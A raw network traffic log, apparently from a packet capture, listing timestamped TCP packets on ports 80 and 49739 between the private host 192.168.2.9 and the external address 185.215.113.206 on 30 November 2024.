Nov 30, 2024 22:53:05.664763927 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.664788961 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.664813042 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.665580034 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.665595055 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.665622950 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.665636063 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.666390896 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.666410923 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.666433096 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.666445971 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.667220116 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.667234898 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.667259932 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.667288065 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.668030024 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.668044090 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.668068886 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.668081045 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.668859005 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.668874025 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.668900967 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.668920040 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.669771910 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.669786930 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.669816971 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.669830084 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.670483112 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.670497894 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.670520067 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.670538902 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.671319962 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.671334982 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.671358109 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.671375990 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.672152042 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.672167063 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.672188997 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.672214985 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.673048019 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.673063040 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.673082113 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.673098087 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.673811913 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.673829079 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.673854113 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.673867941 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.674634933 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.674649000 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.674681902 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.674695015 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.675452948 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.675467968 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.675499916 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.675515890 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.676280975 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.676295042 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.676327944 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.676347971 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.677103043 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.677119970 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.677145958 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.677177906 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.677932978 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.677948952 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.677979946 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.677993059 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.679168940 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.679183960 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.679207087 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.679220915 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.679689884 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.679703951 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.679732084 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.679743052 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.680398941 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.680413961 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.680455923 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.681292057 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.681307077 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.681333065 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.681345940 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.682020903 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.682034969 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.682065010 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.682076931 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.682853937 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.682868958 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.682897091 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.682912111 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.683686018 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.683701992 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.683733940 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.683748960 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.684489965 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.684508085 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.684539080 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.684554100 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.685340881 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.685354948 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.685389042 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.685401917 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.686136961 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.686151981 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.686181068 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.686193943 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.686950922 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.686968088 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.686995029 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.687009096 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.836066961 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.836164951 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.836237907 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.836281061 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.836662054 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.836711884 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.837070942 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.837126970 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.837467909 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.837516069 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.837884903 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.837928057 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.838309050 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.838362932 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.838711977 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.838769913 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.839150906 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.839167118 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.839195967 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.839221001 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.839958906 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.840008974 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.840349913 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.840408087 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.840821981 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.840836048 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.840871096 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.840898037 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.841593981 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.841653109 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.842022896 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.842089891 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.842778921 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.842833996 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.843672037 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.843687057 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.843700886 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.843725920 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.843744040 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.844521046 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.844536066 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.844573021 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.844599009 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.845328093 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.845345020 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.845487118 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.846193075 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.846206903 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.846240044 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.846252918 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.847084999 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.847131014 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.847965956 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.847987890 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.848020077 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.848032951 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.848942041 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.848958015 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.848969936 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.849001884 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.849015951 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.849822044 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.849837065 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.849870920 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.849894047 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.850697041 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.850713015 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.850755930 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.851453066 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.851469040 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.851505995 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.852307081 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.852322102 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.852351904 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.852366924 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.853069067 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.853084087 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.853121042 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.853132963 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.853909016 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.853923082 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.853951931 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.853965998 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.854739904 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.854753971 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.854798079 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.854809999 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.855555058 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.855571032 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.855612040 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.855626106 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.856360912 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.856376886 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.856410980 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.856424093 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.857184887 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.857199907 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.857240915 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.857255936 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.858000040 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.858015060 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.858100891 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.858812094 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.858828068 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.858859062 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.858872890 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.859728098 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.859743118 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.859822989 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.860472918 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.860486984 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.860526085 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.860538960 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.861346006 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.861361027 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.861402035 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.861418009 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.862221003 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.862236023 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.862273932 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.862288952 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.862993002 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.863008976 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.863044024 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.863065004 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.863811970 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.863827944 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.863852978 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.863864899 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.864574909 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.864589930 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.864622116 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.864645958 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.865431070 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.865456104 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.865479946 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.865497112 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.866333961 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.866348982 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.866401911 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.867201090 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.867243052 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.867245913 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.867280960 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.868165016 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.868179083 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.868213892 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.868227959 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.869035959 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.869050980 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.869072914 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.869081974 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.869096994 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.869117022 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.870026112 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.870040894 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.870073080 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.870085001 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.870908976 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.870923996 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.870959997 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.870974064 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.871804953 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.871819973 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.871855021 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.871867895 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.872721910 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.872737885 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.872751951 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.872771025 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.872783899 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.873629093 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.873644114 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.873675108 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.873692036 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.874543905 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.874558926 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.874593973 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.875487089 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.875504017 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.875534058 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.875560045 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.876379967 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.876395941 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.876430035 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.876450062 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.877296925 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.877311945 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.877325058 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.877351999 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.877372026 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.878190041 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.878206015 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.878248930 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.879100084 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.879115105 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.879158020 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.879180908 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:05.879966021 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.879980087 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:05.880026102 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.030611992 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.030704975 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.030762911 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.030812025 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.031186104 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.031241894 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.031584024 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.031625986 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.032038927 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.032054901 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.032083035 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.032128096 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.034245014 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.034259081 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.034293890 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.034307957 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.035078049 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.035093069 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.035128117 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.035955906 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.035970926 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.036012888 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.036739111 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.036752939 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.036788940 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.037657976 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.037678957 CET	80	49739	185.215.113.206	192.168.2.9
Nov 30, 2024 22:53:06.037704945 CET	49739	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:53:06.037734032 CET	49739	80	192.168.2.9	185.215.113.206
